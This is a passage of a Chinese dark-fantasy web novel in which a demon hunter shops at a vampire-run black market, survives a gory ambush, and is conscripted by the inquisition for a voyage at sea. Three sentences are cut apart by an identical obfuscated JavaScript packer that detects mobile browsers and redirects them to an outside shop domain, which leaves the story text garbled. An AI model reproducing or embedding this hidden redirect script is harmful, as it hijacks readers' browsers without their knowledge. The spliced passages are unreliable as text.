有了这份存款,足以在霍普斯镇的偏远地段买下一栋平层公寓,但路远寒并不打算将这笔钱拿去挥霍。毕竟他要是想添置异物,提升自己克制畸变物的手段,就得做好一掷千金的准备,上次的拍卖会让他印象尤为深刻。 按照他的计划,最近先休息一段时间,通过秘语者或其他渠道买下几件合适的异物,等到熟悉了这些物品的使用方式和局限性,再继续接受委托。 “前辈,你有购买异物的渠道吗?” 路远寒直接问了伊凡,他觉得伊凡作为一个成熟老练的猎魔人,想必有不少经验,只靠窗口联系异物卖主的话,就不知道要等到什么时候了。 “哦……你要买异物啊?”伊凡并没有感到意外,“现在的委托越来越危险了,只靠开枪恐怕没办法应付得过来,确实应该备上几件防身。不过这东西很少会流通到市面上,在秘语者能见到的品质都不怎么样,或者后遗症太严重,用完直接癫狂,变成感染者,那就得不偿失了。” “我给你一个联系方式,你找这个中间人,他会带你去买异物的。” 所谓的联系方式,是一张金属名片。 在两人分开后的第二天,伊凡将名片寄到了路远寒家中。 路远寒拆开信封,将那张薄如蝉翼的名片攥在手上,透过灯光观察着,金属表面浮现出一层流动的银光,边缘上镶了花边,而在正中央,则用鲜血雕刻着黑气萦绕的兽面,看上去就像恶魔。 伊凡在信中写道,要是想联系中间人,需要将一滴血涂在名片的凹槽上,随后对方就会找上门来。不过他并不建议路远寒用自己的血,伊凡给出的解决方案是找一处空地,再用怪物血激活名片,避免泄露个人信息。 在黑区,拿到一个人的血液,可以用来做很多事情。 路远寒收起名片,换了出门要用到的服装和面具,正好和窗边一双幽绿的眼睛对上视线,随即反应了过来。房东辛普森太太最近捡到了一只黑猫,总是在邻里间流窜,不知道为什么今天光顾了他家门前。 他屈指敲了两下窗户,把那只猫吓跑了。 不过路远寒出门前,还是从橱柜里拿了一个小盆,装了些煮过的鲜肉,用适量温水化开,顺手放在了信箱下面。 霍普斯镇今天难得没有下雨,他可以不用打伞,只是仍然需要带上一盏照明灯,毕竟在黑暗中要是没有光源,极其容易失去方向,被地海深处而来的浓雾席卷着,坠进那神秘而危险的深渊。 难得没有任务在身,路远寒攀上屋檐,从房顶上飞掠而过,很快就到了大教堂区,他最熟悉的猎杀区域。 他置身高处,发现此地或许被清理过一遍,教堂周围的野狗数量减少了很多,但要满足他现下的食欲,还是绰绰有余的。路远寒微微皱眉,按下盘旋在心上的疑惑,将自己藏进阴影之中,不着痕迹地放出触手,进食了一段时间,才抹去现场的痕迹,将畸变物的血液滴在了名片上。 随着黑血滴下,那张名片像是活了过来,倏然泛起红光,将表面上的血迹吞噬得无影无踪。 48. 黑市 名片上的异状只短暂地出现了一瞬,那张属于恶魔的面孔因沾上血迹而微微蠕动着,露出鲜红的獠牙,像是在朝他微笑。 路远寒收起名片,幽魂似的站在房檐角上,打量着周围的环境。这一片区域已经被他清场了,现下寂寥无人,只剩狂风呼啸,隐隐从远处传来两声狗吠,他倒想看看那个所谓的中间人是靠什么手段追踪的。 倏然,他的视线捕捉到一道飞掠的黑影。 在他的注视下,那只漆黑的蝙蝠两翼大张,越飞越近,直到在他藏身地盘旋而下,变成了一位容貌俊美的长发执事。 那人身量颀长,神秘莫测,从肩膀到小腿都裹在燕尾服下,白发如水幕一样垂落在身前,殷红的眼睛扫过路远寒——更确切地说,扫过他口袋中的名片,朝他点头示意:“096号客人是吗?阁下请随我来。” 这是血族吗?路远寒闪过一个念头。 在这个邪神盛行的时代,出现什么样的眷族他都不会感到意外,更何况黑区位于地下,常年没有光照,确实适合血族居住。 只是传闻中的吸血鬼竟然如此接地气,甚至当起了异物交易的中间人,这是他没想到的。 路远寒将指节伸进口袋中,发现那张金属名片有了变化,因这位执事的到来而微微发烫。名片属于伊凡,所谓的096号客人应该是他,路远寒继承了他的资格,便跟着白发人的指引上了一辆复古马车,骏马奔驰,载着他们两个前往远方。 “客人不用拘谨,一卡一人,阁下持有此物,便是受到我们邀请的座上宾。” 执事说道。 他手上正倒着红茶,左腿翘在另一只腿膝盖上方,这动作被他做出来倒显得极为优雅,随着方糖融进杯底,被执事用小匙搅动几下,他也将泡好的茶递到了路远寒手中,面带微笑地望着他揭起面具,尝了一口茶水。 平心而论,路远寒认为这杯茶泡得不错。 等待的过程漫长而无聊,那位执事倒是很有雅兴,甚至还拿着一本书在看,指节划过,不时传出翻动书页的声音。路远寒转头望着窗外,看似无意地瞥到了书名——《贵族养成手册:如何料理好你的血袋》。 看清楚血袋两个字的刹那,他发现了执事唇下藏着的尖牙。 好在这位中间人还算有职业道德,并没有在半路上狂躁症发作,将客人的脖颈咬开两个窟窿,饮下潺潺流出的鲜血,他和路远寒一样,都对自己的食欲有着极强的控制能力。 随着滚轮声戛然而止,马车停下,将他们送到了一座深黑的金属吊楼前。 路远寒走下马车,那位执事在门前翩翩行了一礼,又化作蝙蝠飞走了。作为中间人,他只负责将客人带到黑市,并不管对方想买下或售卖什么异物,而剩下的区域就需要路远寒自己去探索了。 检测到他身上携带的名片,铁制大门幽幽而开,将路远寒迎了进去。 吊楼共有五层,肠肉血管般的走廊分在两侧,笼罩在一片阴森的寂静之中,最下方的大厅修建得极为华美,像是王公贵族的旧府,只是现下被灰尘覆盖,空气中弥漫着金属和机油的味道,还隐隐掺杂了一分血气。在进门处便能看到巨大的机械装置,那镶嵌着无数精致宝石的钟表高悬在墙上,随着指针跳动,而一下一下滴答走着,发出心脏震颤的声音。 在这座黑市,他那副鸟嘴面具一点也不显得突兀。 路远寒走上楼梯,便有一只金属蜘蛛从高处窸窸窣窣爬下,托着几块方牌呈到了他面前。 那些牌子各自代表着一层楼,标明了不同售价的范围区间,最底层就刻着两百到一千的数字,越往上越高昂,而到了第五层,则是九千帝恩币以上才能前往的区域。 “嗯……多谢了。” 路远寒思考片刻,拿起了前面两块牌子,他还拎着一个手提箱,里面的金条价值三千帝恩币,应该能撑到他逛完这两层的异物。 他站在二楼的走廊门前,出示了那块方牌,管理者便掀起一片银光浮闪的珠帘,将他放了进去。除了部分展台,地面上摆着摊位,而卖家们也都戴着各式各样的面具,多是贪婪狡诈之辈,很难从底下窥探到他们的真容。 路远寒并不是唯一的买家,不时有人从他旁边匆匆走过,在摊主面前絮絮低语,交易着神秘而危险的物品。摊位上摆放着秘银吊坠、狼毫面饰、各种古老的书籍残卷……每当他靠近一处摊位,就能感受到无数视线聚在身上,被那些眼睛紧盯着,路远寒放下货物,面不改色地走了过去。 这层的异物不是效果低微,就是局限性太多,并没有他想要的。 就在路远寒打算去下一层的时候,他忽然停了下来。 旁边的摊位上摆着一个通体幽亮的玻璃瓶,吸引了他的注意。路远寒将玻璃瓶拿起来,瓶身不过是普通的磨砂质地,颈口略窄,装了几百毫升的液体,看上去并不起眼,灵性却提醒着他里面承载着一股神秘力量。 “感兴趣吗?”摊主问了一句。 他是个戴着黑斗笠的老头,见路远寒在摊位前驻足,也不急于推销,先点着了一根烟,才慢悠悠介绍着这件异物:“据前任卖家说,这个瓶子连通着不知何处,里面的水无论如何也不会流尽,在缺少水源的情况下,它可是相当珍贵。” 路远寒没有应声,等着接下来那一句但是。凡事都有利弊,要是这瓶液体真有他说的那样完美,就不会出现在最下面一层了。 “但是。”摊主补充道,“里面装着的液体并非传统意义上的饮用水,喝下之后会感到狂躁不安,难以控制自己的行为,需要见血才能平息那种渴望。上一个喝了水的人,因为过失杀人而被逮捕了,判了死刑,所以这瓶子才流通到了黑市上。” 他并非出于善意才提醒,只是在黑市做交易得遵守规矩,一件异物的优缺都需要详尽地告知买家,否则出了事,卖家也得按律法下狱。 路远寒将玻璃瓶放下,又随手翻看着旁边几把开刃的武器:“所以呢,售价是多少?” “五百帝恩币。”摊主一锤定音。 这一价格并没有超出路远寒的心理预期。他认真权衡过了,作为猎魔人,完成委托时难免会遇到各种突发情况,像在修兰村,村民提供的食物和水就有问题,而且摊主所说的副作用也在能承受的范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382445|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,因此他决定买下这瓶水。 “三百帝恩币吧。”路远寒劝说道,“你这摊位开在尽头,一看就是无人光顾,除了我这样的亡命徒,没有人愿意成为杀人犯,要是等到下一个买主,你就得半截入土了。” 他说得一针见血,再看到他腰侧那把满是杀气的钢刀,没有人会怀疑这句话的真实性。摊主还在犹豫,路远寒修长的指节拨过摊位上的金属制品,又拿起了一枚戒指:“这件物品有什么用?” 那是枚银制尾戒,摊主定睛一看,神情便松了下来,随口应道:“你说这个啊……不是什么好东西,死人墓里捡到的,擦亮后能发出微弱的光,好处是无需充能,但能照亮的区域也有限,直径大概不到两米。” 有着蒸汽灯的存在,这件异物确实没有什么市场。 路远寒将银戒套在尾指上,那戒指竟然自发收紧,贴着他的指根缠了又缠,像一条圈起的小蛇。他没有摘下戒指,而是沉吟道:“那就四百帝恩币吧,加个添头,两件异物我一起拿了,也算是仁至义尽了。” 在他一番推磨之下,摊主没有再还价。路远寒用金条结了帐,见对方斗笠下露出的微表情,就知道他肯定赚了不少。 他将玻璃瓶收好,提着箱子离开了这层。 三层的底价是一千帝恩币,异物的质量提高了不少,路远寒走在琉璃吊灯的照耀下,像行走在前往宴会厅的红毯上,在这场假面舞会之中,三教九流齐聚一堂,数件异物陈列在展台上,每件物品表面都贴着属于自己的价签。 路远寒的视线掠过一座又一座展台,看到了悬在置物架上的武器。 那是一把神圣之剑,剑刃如雪,犀利的表面下隐约有电光闪过,使用者能够打出雷属性攻击,对于不少畸变物都有着克制效果,堪称神罚。而它的售价是两千八百帝恩币,路远寒刚买了两件异物,现在囊中羞涩,却是负担不起它了。 他不得不惋惜地挪开视线,浏览着剩下的物品。 直到最后,路远寒又挑了两件异物:一件是能镶嵌在武器上的血宝石,附加了属性伤害,凹槽处吸收的血液越多,武器的威力也就越惊人,被他用在了锯肉刀上。第二件则是机械腿环,在他原本的移动速度上有着大幅提高,路远寒验证着效果,感觉他现在可以比肩飞驰的马车,一旦爆发出力量,将没有猎物能逃过他的追杀。 除此以外,还有一件异物让他很感兴趣。那是条带有铆钉的项圈,将它戴在畸变物脖颈上,伸手握住温热而柔软的皮革,就能感知到对方的想法,被称为“共鸣”,售价是一千六百九十九帝恩币。 但那东西太危险了,与畸变物接触过深,极容易出现精神问题。 而且路远寒刚买下两件异物,又花费了两千五百帝恩币,他箱子里的金条只剩下寥寥几根,连块护身符都买不起,现在只有打道回府一个选择。 鉴于他的消费额超过了一定标准,那名白发执事又出现在了路远寒面前,亲自将他送回了霍普斯镇。金属吊楼之中,黑市的交易仍在继续着,在机械与阴影的交错下,一只又一只冰冷的眼睛从黑暗中浮现,目送着那辆马车远去。 49. 围杀 这趟黑市之行花费了路远寒将近一半的积蓄,而他也如愿以偿,斥重金买到了几件异物。 在返回霍普斯镇的途中,他略作思考,在脑海中整理着现在拥有的物品清单。在此之前,他的随身武器有锯肉刀、蒸汽枪、手杖,以及一把金属切割刀。 其中,锯肉刀被他镶嵌上了附魔血宝石,而蒸汽枪的能源弹还有6发,每发能开4-5枪,还可以再维持一段时间。 而他在黑市上的收获,则有刚拿到手的玻璃瓶和腿环,以及他小指上的尾戒。路远寒想了想,又加上一根染血的脐带,自从维诺拉教会覆灭以后,这根属于神嗣的遗物还没有派上过用场。 如此看来,他持有的异物数量已经超过了猎魔人的平均水准。 比起刚到黑区时,现在的情况好转了不少。 作为中间人,执事将他送到了一开始见面的大教堂区,让路远寒下了车,甚至还熨帖地将他随身带的灯点亮了,塞到路远寒手中。 执事态度友好,容貌也相当俊美亲切,但他毕竟是一名血族,牙尖上沾着不知何人的鲜血,路远寒还记得伊凡在信中的警告,并没有放下警惕心,等到那蝙蝠一振一振地飞远了,才绕行过几条狭窄幽深的小巷,回到了红十字街。 此时夜幕深重,雨声淅淅,霍普斯镇上的人多在睡梦之中,路远寒悄然走在门前小路上,也就没有遇到让他倍感头痛的房东太太。 他照常看了一遍信箱,发现没有了放错的霍普斯日报,看来那位信差也知道搞错了订报人,临走之际,在这家信箱底部放了一瓶牛奶赔罪。 路远寒拧开瓶盖,将鲜牛奶倒进了小盆中。盆底的肉糜已经被舔舐干净,意味着他配猫粮的手艺得到了正主认可。 他回家整理好身上的物品,亲手揭下面具,打量着被全身镜照出的面容。 镜中的年轻人让他既熟悉,又有一分难以描述的陌生:路远寒身高没有什么变化,体型更健硕了,作为一名猎魔人,他肱臂和大腿上肌肉分明,指骨修长而突出,能够轻而易举地撕裂怪物。在地下城坠机而烧毁的面庞,伤口已经复原,新长出的肉呈现出淡淡的红色,覆盖在他两颊上。至于五官,虽然被他塑得略显深邃,但仍是薄唇长眼,千金一对的玻璃义眼在眼窝中缓慢转动。 而最重要、最颠覆人生的变化…… 路远寒伸出双手,将指尖抵在冰冷的玻璃上,随着他有意识的呼唤,一根又一根黢黑淌水的触手盘旋在他的肩膀与胳膊上,顺着血管滑动而下,仿佛正从背后拥抱着自己的主人。 他略微皱眉,那些触手又缩回了体内。 到黑区以后,他还没有修剪过头发,有些长了的发尾柔顺地贴在颈上,路远寒望着黑发,心想这颜色实在是太显眼了,很容易被人辨认出来,他得找到一种掩饰的方法。 倏然,他就像被电流激过,产生了一种被窥视的感觉。 路远寒猛然回头,发现背后不知何时打开了一条缝隙,门开了,那只黑猫站在门口,目光幽幽,正一眨也不眨地望着他,漆黑的尾巴倒竖,像是某种不言而喻的警告。 这是什么意思? 路远寒眉头紧皱,还没来得及深想,猫已经跑了。然而那种危险预感并没有消失,甚至越来越强烈,他顿时熄了灯,拿起武器去了秘语者,到了酒吧却发现:格林、威尔斯,甚至是伊凡……他熟悉的人都不在,今夜却座无虚席,那阵热闹的氛围将他裹挟着,提刀坐在了吧台前。 “给我推荐份酒单吧,今天都有什么特调?” 路远寒轻飘飘问了一句。 随着话音落下,酒保拿着单页凑到他面前,手指看似不经意地点了两下,圈起酒单上几个名字,那些首字母构成了一段充满警告性的单词——快跑! 快跑!往哪里跑?发生什么事了? 路远寒心中顿时闪过无数念头,他压下所有疑惑,自然而然地低下头,用余光打量着杯壁上照出的倒影——周围熙熙攘攘,那些人却一动不动,如同蛰伏在深海下的怪物,正等待着路远寒落入捕网之中。 他当机立断,毫不犹豫地拔枪上膛,开枪打碎了吊灯,秘语者顿时陷入一片漆黑,隐藏的杀气也流露而出。显然,这是一场有针对性的围杀。 那一声枪响打破了平静! 来过酒吧数次,路远寒早就对秘语者的构造再熟悉不过,即使在黑暗中也能游刃有余地绕开敌人。 然而刚一出门,危险预警再次震响,路远寒猛然闪开,一发狙击弹狂啸着擦过飞扬的黑发,打在他肩膀上。顷刻间血肉如雾爆开,伤口还在滋滋冒着黑烟,剧痛感让他的触手差点收不住,叫嚣着要大开杀戒,又被路远寒强忍着压了下去。 要是暴露出怪物的身份,那就真要被千人围杀,陷进万劫不复的境地了。 满身血液都因这一场战斗而沸腾着,携着杀意流经四肢百骸,路远寒却冷静了下来,他很清楚,身后的追杀并不致命,那隐藏在黑暗中的枪手才是真正的威胁! 刹那间,路远寒抬起头,视线飞快地掠过几处高地,猎鹰般搜寻着目标,判断出了狙击手的位置。 他反身一跃,借追杀者挡住对方视野,贴伏在背后那人面前,锯肉刀旋着刃捅进腹部,白入红出,血淋淋带出一地柔软湿润的脏器,钢刀因吸了血而在他掌中发烫,如同食欲高涨的怪物。 霎时血花飞溅,枪声裂空而来。 那一发狙击弹撞地起火,路远寒飞身而起,抡出紧握着的武器,手杖在空中划出一道圆弧,那危害性极强的异物如同重锤,将他周围七八个追杀者拦腰截断,腰部往下齐刷刷落在地上,而半空连着脑袋的上身还在飚血乱飞,被枪林弹雨扫成了筛子。 这些人行动有序,远近配合,绝非一般的雇佣兵……到底是谁要杀自己? 重重追击之下,路远寒已经杀得火气大盛,他知道经过这场激战,缉察队必然会注意到自己,他不可能再恢复平静的生活,既然无论如何都是错,那倒不如破罐子破摔,让这些围杀者为他陪葬。 他找准那个狙击手的方向,拧转身体,像猛兽一样弹射而出,徒手攀上屋檐,在几个瞬息间飞越无数屋顶,全身力量都汇聚在指尖上,翻过钟塔,来到了敌人面前。 高处狂风凛冽,路远寒看到那张脸上浮现出一丝惊诧,看模样像个年轻人,但他毫不留情,不给敌人绝地反杀的机会,劈手夺过重枪,将对方一脚踹下防护栏,听到了颅骨断裂的闷响。 路远寒意识还停留在杀人时温热的触感上,身体却快一步行动了起来。 他握着狙击枪,又朝下补了一发子弹,随着轰然巨响,弹壳穿过血肉模糊的大脑,让还在微微打颤的敌人彻底死透了。 “呼……” 路远寒闭上眼睛,缓缓呼出了一口气。 他只平静了短暂几秒,随即打开视野,看到下方的追杀者人头攒动,黑影如潮水一样往上席卷,转瞬就攀到了塔尖上,他预感到危险,纵身向旁边跳去,刚才站着的地方已被阴影淹没——那些人能够使用异物! 路远寒在重力下急速朝着地面坠落,钩爪飞射而出,让他冲势一缓,以轻盈的身手落地,翻滚到了障碍物背后,抵挡着炮火轰天的攻势。 除了异物的影响,围杀他的人中还有着不少身体畸变的感染者。 越是迟疑下去,情况就越危险,路远寒抛出一块钢板,借着掩盖顺势冲了出去,金属撞击的声音不断激荡,而他压低重心,潜行到追杀者面前,徒手撕下一个被羽毛覆盖的脑袋,让那鸟人身首分离,肩膀却被野兽的利齿狠重咬住,鲜血从咬痕下蜿蜒而出。 在一片混乱之中,路远寒激烈地搏杀着,腹部中弹、肩膀鲜血淋漓、右侧腿骨被人打折……而他还在不断地重复着厮杀的过程,整个人几乎浸没在血水之中,深蓝的玻璃溅上了血,让他眼膜通红,却无法影响到怪物的视野。无数吊诡的尸体躺在他脚下,他们死状惨烈,身上都别着一个家族徽章。 路远寒捡起徽章,用指尖擦去血迹,看清楚上面镌刻的内容——布莱顿,瞬间想起了宴会厅上被他杀死的那人。 还是被发现了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389193|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路远寒眉头紧皱,拍卖会时发生的一幕接着一幕如电影倒带般在他脑海中重放,布莱顿将他引诱到楼梯间,试图捕杀这个保镖,却被他掏空内脏,将尸身沉进了湖底。他知道布莱顿出身权贵世家,背后势力必然雄厚,却没想到这么快就被抓住了破绽,甚至派出无数部下,重兵洗地,只为了杀他一个平民。 这就是命运吗? 无论他如何挣扎,如何求生,都像是走在一条身不由己的钢丝上翩翩起舞,被幕后黑手一碰,就会摔下去粉身碎骨。 路远寒面上神情僵硬地抽动了几下,不由得想笑。 他此时满手都是殷红的血液,指缝被不知何人的肉糜填满,尾指上的银蛇通体鲜红,有着跟主人如出一辙的邪性。这双手杀了太多人,撕开了无数人的头皮与胸腔,即使没有触手寄生,他也已经成为了一个彻头彻尾的怪物。 雨幕之下,敌人还在源源不断地朝他涌来,路远寒却感到一阵难以言喻的疲惫,仿佛浑身的力量都竭尽了。再继续纠缠下去,能有什么结果呢——杀了这些人,逃到天涯海角,从此惶惶不可终日,作为一个在黑暗中茹毛饮血的怪物,等着被缉察队斩首示众? 仿佛有一个声音在他耳边盘旋,就像恶魔的低语,越来越响,越来越激荡,蛊惑着路远寒所剩无几的理智:放弃吧!放弃吧,让绝望降临在这世上…… 骤然一声枪响,绷断了他脑海中那根弦。 紧随着那发打破僵局的錾银子弹,一轮银白的月影笼罩此处,瞬间雨势冻结,千万滴流水静止了一样悬浮在空中,众人脚下的地面凝成了寒冰,路远寒顿时感到零下低温的空气灌进鼻腔,将他的心肺都冻僵了。 厚重的冰面之上,无数铁骑赶到了现场,他们力量强悍,披着月光照耀下圣洁的戎装——那是属于缉察队的制服。 除了那轮悬在空中的银月,缉察队还有高手,一圈又一圈闪着幽光的禁纹从地上浮现,控制了这片区域的力场,难以承受的重量压着所有人的双腿,仿佛要将他们碾碎成泥。 在强权之下,路远寒根本动不了一根手指。 他无力地看着缉察队从面前走过,将那些人带了下去,铁律处决的枪响一声接着一声,激起沉重的回响,血雨飞溅,尸体瘫软倒地,随即从地面上裂开巨大的缝隙,无边的黑暗吞吃下那些死人肉,又重新归于沉寂,将缉察队屠杀犯人的痕迹清理得极为干净。 路远寒紧咬着牙,竭力反抗着施加在身上的强压,他知道以缉察队的手段,处理完那些布莱顿家族的私兵,就该轮到他了。 “哒,哒哒……” 重靴踏地,审判的脚步声朝他走了过来。 路远寒颤抖着跪在地上,用尽浑身力量,才颇为艰难地抬起了头。缉察队的态度竟显得很恭敬,一颗盛在花瓶中的人头被捧到他面前,那两瓣鲜红的嘴唇张合几次,朝他开口说道: “奥斯温·乔治,你果然很有本事……要是放任你成长,假以时日,一定会成为黑区至关重要的掌权者。可惜你不该招惹布莱顿,那个家族不是你现在能得罪的,就算你杀一千一万个他们的家仆也没用,除了缉察队,现在没人能够帮你。” 无需任何人提醒,路远寒也能猜到对话者的身份,一个身居高位,同时能掌控缉察队的女性,除了伊蒂丝·安东尼奥,再没有其他选项。 “夫人……您有什么目的?” 每挤出一个字,路远寒就要咳嗽出血,在他剧烈的反应下,破碎的脏器混杂在喷出的涎水中,殷红如注,溅得满地都是触目惊心的痕迹。 “你很聪明,去帮我做一件事,我替你解决这些麻烦。” 那张嘴微笑起来。 路远寒眼前一片发黑,脑海里嗡嗡作响,全靠极为坚韧的意志力支撑着,才没有在缉察队的审视下昏厥过去。 伊蒂丝夫人还在说着什么,但他只断断续续地接收到了一部分内容:“……不过你要抛弃尊严,抛弃从前的身份与人生,只做我手下的一道影子。” “如何,你能接受吗?” 50. 黑帆暗涌(1) 地海之上,千丈高的浪涛激荡,在无边暗域上掀起可以杀人的飓风,狂暴的海水席卷着一切生机,海浪沉重地咆哮着,在夜幕掩盖下悄然酝酿着未知的恐惧。 而在疾风骤雨之中,正行驶着一艘钢铁航船。 在这片神秘海域,那艘蒸汽装置驱动的机械船也渺小得像是一颗浮尘。翻滚而下的黑水仿佛通往深渊,船身随着波浪不时颠簸起伏,喷着高温白汽的管道中传出铮铮巨响,一下接着一下震颤,似乎随时会被海上无情的黑夜吞没。 船上灯光闪烁,在浓重如雾的黑暗中显得格外微弱。 水手们紧握着船舵,不时将视线投向怒涛翻涌的海面,仿佛下一刻就会有怪物从深海中跃出,将船上无数人的血肉吞进巨口之中。 海风呼啸,刮动着桅杆上高涨的渔帆,也吹起一缕飞扬的黑发。 忽然,一道幽幽的阴影悄无声息地从海底升起,随着黑浪腾空,隐约可以看到那巨大而恐怖的身躯,正朝着船底疾驰而来。 谁也不知道那是什么,顷刻间,死一般的寂静在船上蔓延开来,所有人屏住呼吸,唯恐引起那庞然大物的注意。但那危险的影子缠上涡轮急旋的叶片,像一张无形的密网迅速覆盖了整座船舱,散播着源自深渊的气息。 “轮机长!加大马力!” 大副在甲板上怒吼着。 黢黑的触手已经攀上了栏杆,将金属制造的轮船拖着往海水中倾覆而去,甲板上的货物摩擦着地面,轰然撞上船舱,发出极其刺耳的声响。 就在这千钧一发之际,船上的发动机倏然响起震耳欲聋的轰鸣,滚滚蒸汽推着轮船竭力往前冲去,试图摆脱海面下那些狰狞的触手。浪涛激昂,船尾迸起一片片飞溅的水花,那海下猛兽却如影随形,紧跟着轮船的航迹。 直到一个神秘人从高处翻身而下,扛起重炮,朝那黑水里开了一枪——耀眼的白光在海上炸开,威力极强,触手们惨叫着缩了回去,随着狂风四散而逃,将海上短暂的平静还给了这一艘航船。 他们死里逃生了! 船员们终于恢复了呼吸,凝结的冷汗顺着脊椎蜿蜒而下,被海风刮过,带起一阵让人浑身打颤的寒意。 汽笛之下,轮船按着原定的航线行驶。既然危险已经解决,那手持重炮的人也就不再开火,他漠然转身,高大的身影被黑色风衣裹挟,一步一步朝着船舱内走去。 “感谢长官大人出手!” “您太厉害了……” “指挥官阁下,您就是我们的再生父母!” 船员们争先恐后地从甲板上挤了过来,无数张嘴谄媚地嚷嚷着。他们口蜜腹剑,唾液横飞,阴毒而狡猾的视线无一例外落在了那个被称为长官的年轻人身上。 他的轮廓看上去很年轻,却有一双神秘而深邃的眼睛,黑中透蓝,望进去似有海浪翻涌。而在他下半张脸上,则被金属覆盖,套着一副造型奇特的重铁面罩,就像拴猛兽专用的笼嘴,年轻人也因此得到了“疯狗”的外号——当然,他们只敢在背地里这样叫。 那位长官脚下一顿,偷窥着他的水手们顿时惊恐地散去了。 他是审判,亦是怪物,没有人想被那双刀锋一样冰冷的眼睛盯上。鬼知道这位指挥官在用餐时慢条斯理,每样食物只尝一口,手握刀叉在餐盘上一下一下摩擦着,是不是想吃人了。 上次靠岸时,这名空降指挥官被派遣到了船上,一来就接管了治安部,拥有着与船长同等的权力。 传闻中他有着一个怪异的癖好,每隔两天,就要放下舢板在海上跟着船飘一段时间,直到几个小时后才重新登上船板。为此,有人说他双眼通红,就像刚从棺材里爬出来的吸血鬼,也有人说他能徒手撕开活人胸膛,看见他手上捧着一颗血淋淋的心脏……总而言之,众说纷纭,什么猜测都有,在狂暴海上,让人恐惧的力量才是硬通货,船员们敬畏着这位长官。 他们默念着那个名讳:西奥多·埃弗罗斯。 休息室内,年轻人脱下外衣,露出一身遍是狰狞伤痕的肌肉。他遭到围杀时落下的伤势太重,即使接受了最高等的药物注射,情况也不见好转,他在强大的自愈力下硬撑着,才一点一点恢复了行动能力。 他打开面罩,点着了一支海上特有的卷烟,将烟蒂咬在唇间,略微神经质地用牙尖吮磨着那张草纸。 它的原料是罗刹草,一种具有上瘾性的植物,盛产自西西弗岛,能够缓解海上航行带来的疲惫、焦躁、精神狂乱等后遗症,被往来的船只运输走私,已经成了流通黑市的软黄金。 散发着淡淡香气的烟雾在他鼻腔内缭绕,顺着血管深入脑髓,如同一声接着一声轻缓的叹息,抚慰了路远寒略显躁动不安的情绪。 他不再紧绷着身体,脖颈上涨起的青筋也渐渐平息了下去,让这张脸恢复到了那种游刃有余的优雅。路远寒将重炮放在一旁,摘下手套,随意地坐在了床上,他刚才握久了武器,指尖还隐隐有些发麻,现在正一段一段舒展着指节,随着咔哒轻响,僵硬的血液重新活泛了起来。 而在他脚下,躺着一具畸变的尸体,更确切地说,是他的储备粮。 探索船在海上航行,要是遇上风暴、礁石或者深水下的怪物等不可控因素,十天半个月无法靠岸也是一件正常的事。 路远寒要想填饱肚子,总不能将值班的水手拿来补充食物,船上员工总共就那么些,要是少了一个两个还好说,长此以往,迟早会被觉察出他邪祟的身份。 因此每隔两天,路远寒都要放出一只舢板出去狩猎。偶尔遇上大家伙了,他没办法立刻消化完,就将剩下的猎物拖回船上,藏进休息室内,等着下一顿再继续。尸体的血气被他屋内罗刹草的熏香掩盖,倒也没有让人看出任何破绽。 他一直藏得很好,直到刚才——船身倾斜,床下黢黑的尸体也顺着地板滑了出来,正用那颗眼睛阴沉地望着上方。 路远寒盘腿而坐,睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419061|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛垂下,右手撑着下颌懒洋洋打了一个哈欠。无需提醒,触手就贴心地从主人掌下蔓延出去,替他将那具不听话的尸体重新踢回了床底。 烟卷烧到尽头,而他的思绪也飘散了出去。 * 数百个小时之前。 迫于缉察队的强权,路远寒接受了协议。 那时候他浑身没有一块完整的肉,从头到脚都血流如注,像是因高强度运载而报废的机器,零件损毁得七七八八,气若游丝地被带到了某座马车前。在无数警卫的簇拥之下,一只手掀开帘幕,指节华美而冷清,幕后之人居高临下看了他一眼,而他脑壳触地,跪在对方面前。 “从今天起,你就是缉察队的成员之一了,西奥多。” 他听到那位夫人淡淡说道。 路远寒接受了上司赐予的新身份与名字,从此以后,那个被照顾的后辈、可靠的队友、强大的猎魔人将不再存活于世,他只是属于缉察队的一把刀。 作为代价,伊蒂丝夫人对他发布了任务,路远寒要去海上帮她找一座岛,那座岛罕有人至,边缘上有着往内收缩的港湾,海水在周围形成无数个深不见底的漩涡。 而他的任务目标是在那里找到一块翠玉,大概拳头大小,看上去就像盛开的莲花,据说隐藏着神奇而不可思议的力量,持有者能起死回生,溯流岁月的痕迹。 只是那座岛过于神秘,去过的船队寥寥无几,在地图上没有航标,更没有前人指引,需要路远寒自己跟着探索船一座岛一座岛地搜寻,可能耗费两周、数个月……或者十年才能找到,也可能他穷尽一生,都在无边黑海上飘荡。 为此,缉察队让出权限,路远寒成了一支临时特别行动小队的指挥官。 